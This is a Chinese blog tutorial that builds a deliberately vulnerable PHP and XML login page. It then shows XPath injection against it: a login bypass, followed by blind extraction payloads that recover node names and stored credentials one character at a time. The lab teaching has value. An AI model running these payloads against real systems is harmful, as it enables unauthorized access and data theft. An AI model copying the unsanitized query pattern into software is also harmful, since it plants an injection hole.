XPath漏洞利用

XPath漏洞利用

参考《Web漏洞解析和攻防实战》,虽然这个漏洞较冷门,但是看起来复现比较简单就先试这个(),有错误欢迎指出~

1. 编写前后端代码

创建好.php.xml文件 (vscode记得插件要下好)

请添加图片描述

123.php:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form method="POST">
        username:
        <input type="text" name="username">
        </p>
        </p>
        password:
        <input type="password" name="password">
        </p>
        <input type="submit" value="登录" name="submit">
    </form>
</body>
</html>
<?php
if(file_exists('test.xml')){
    $xml=simplexml_load_file('test.xml');
    if($_POST['submit']){
        $username = $_POST['username'];
        $password = $_POST['password'];
        $x_query = "/accounts/user[username='{$username}' and password='{$password}']";
        $result = $xml -> xpath($x_query);
        if(count($result) == 0){
            echo 'failed';
        }
        else{
            echo "success";
            $login_user = $result[0] -> username;
            echo "you login as $login_user";
        }
    }
}

test.xml:

<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>miHoYo</username>
<email>admin@xx.com</email>
<accounttype>administrator</accounttype>
<password>123</password>
</user>
<user id="2">
<username>miHomo</username>
<emai>yw@xx.com</emai>
<accounttype>normal</accounttype>
<password>114514</password>
</user>
</accounts>

2. 验证可否正确登录

本地打开php推荐phpstudy_pro

请添加图片描述
成功登录

3. XPath基础语法

XPath 即为 XML路径语言,它是一种用来确定XML文档中某部分内容位置的语言

"nodename" --选取nodename的所有子节点
"/nodename" --从根节点中选择
"//nodename" --从当前节点
".." -- 选择当前节点的父节点
"child::node()" --选择当前节点的所有子节点
"@" --选择属性
"//user[position()=2]" --选择节点位置

4. XPath漏洞原理

  • XPath注入:攻击者利用XPath解析器的松散输入和容错特性,通过在URL、表单或其他信息上附加恶意的XPath查询代码,来获取权限信息的访问权并修改这些信息
  • 松散的输入验证:应用程序未对用户输入进行严格的验证或过滤,直接将其用于构造XPath查询语句。例如,攻击者在用户名或密码字段中输入特殊字符或逻辑表达式,如' or 1=1 or ''=',这些输入被嵌入到XPath查询中后,可能会改变查询的逻辑,使其始终返回true,从而绕过身份验证

就比如你的查询语句本来是:

$query = "user/username[@name='$username']";

你输入

1'+or+'a'='a

由于or在url解码后会变成空格,所以查询语句变为:

$query = "user/username[@name='1'+or+'a'='a']"; (类似SQL注入)

or后面的条件恒成立,所以可以匹配当前结点下的所有子节点

5. 漏洞利用

可以在username字段进行XPath注入,也可以在password字段注入

1.根节点数量和子节点数量

这次我们在password字段构造Payload,先填写一个正确的用户名miHomo,先从根节点开始判断:

'or count(/)=1 and ''='  //若显示成功登录,则证明根节点数量为 1

请添加图片描述

'or count(/*)=1 and ''=' //根节点下只有一个子节点

这个同样也可以登录成功

2.根节点下的节点长度

Payload:

'or string-length(name(/*[1]))=8 and '' ='

请添加图片描述

注意,这个name对应的是中的accounts

<accounts>
<user id="1">
<username>miHoYo</username>
<email>admin@xx.com</email>
<accounttype>administrator</accounttype>
<password>123</password>
</user>
</accounts>

(将后面的数字从1开始依次递增直到成功登录得到的数字就是长度)

3.猜测节点名称

Payload:

'or substring(name(/*[1]),1,1)='a' and '' = '
    
'or substring(name(/*[1]),2,1)='c' and '' = '
....
'or substring(name(/*[1]),8,1)='s' and '' = '
    

请添加图片描述

这样就可以直接猜出节点名称

  1. 第一个 1
    • /*[1] 中的第一个 1,表示选择根节点的第一个子节点。这里的 [1] 是一个索引,类似于数组或列表的索引,[1] 表示取第一个元素
  2. 第二个 1
    • substring(name(/*[1]),1,1) 中的第二个 1,表示从字符串的第一个字符开始提取子字符串
  3. 第三个 1
    • substring(name(/*[1]),1,1) 中的第三个 1,表示提取的子字符串的长度为 1

4.name节点下的子节点

还是老步骤,判断数量:

'or count(/accounts)=1 and ''='  // /accounts节点数量为1
'ot count(/accounts/user/*)>0 and ''=' // /accounts 下至少有一个节点

判断长度:

'or string-length(name(/accounts/*[1]))=4 and ''='  //第一个节点长度为4

判断名称:

'or substring(name(/accounts/*[1]),1,1)='u' and '' ='

以此类推猜出accounts下的第一个子节点名称为"user"

判断user节点的第二个子节点:

'or count(/accounts/user)=2 and ''='

可以猜测出accounts节点结构,利用同样方法得到accounts下两个节点均为user

5.user下的子节点

'or  string-length(name(/accounts/user[position()=1]/*[1]))=8 and ''='

再猜测名称:

'or substring(name(/accounts/user[position()=1]/*[1])1,1)='u' and ''='

得到username

以此类推,更改/*[]里的值更换节点位置再猜测可以得到所有的子节点:

username
email
accounttype
password

再猜测节点下面是否还有节点:

'or count(/accounts/user[position()=1]/username/*)>0 and ''='
'or count(/accounts/user[position()=1]/email/*)>0 and ''='
'or count(/accounts/user[position()=1]/accounttype/*)>0 and ''='
'or count(/accounts/user[position()=1]/password/*)>0 and ''='

发现均返回failed

说明已经没有子节点了

6.子节点下的值

'or string-length((//user[position()=1]/username[position()=1]))=6 and ''='
    
’or substring((//user[position()=1]/username[position()=1]),1,1)='m' and ''=' 

得到username为miHoYo

如果你要查看第二个user的子节点的值,就更改user[position()=2]

重复以上步骤可得所有XML节点和值

PS:确实是繁琐的注入啊

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值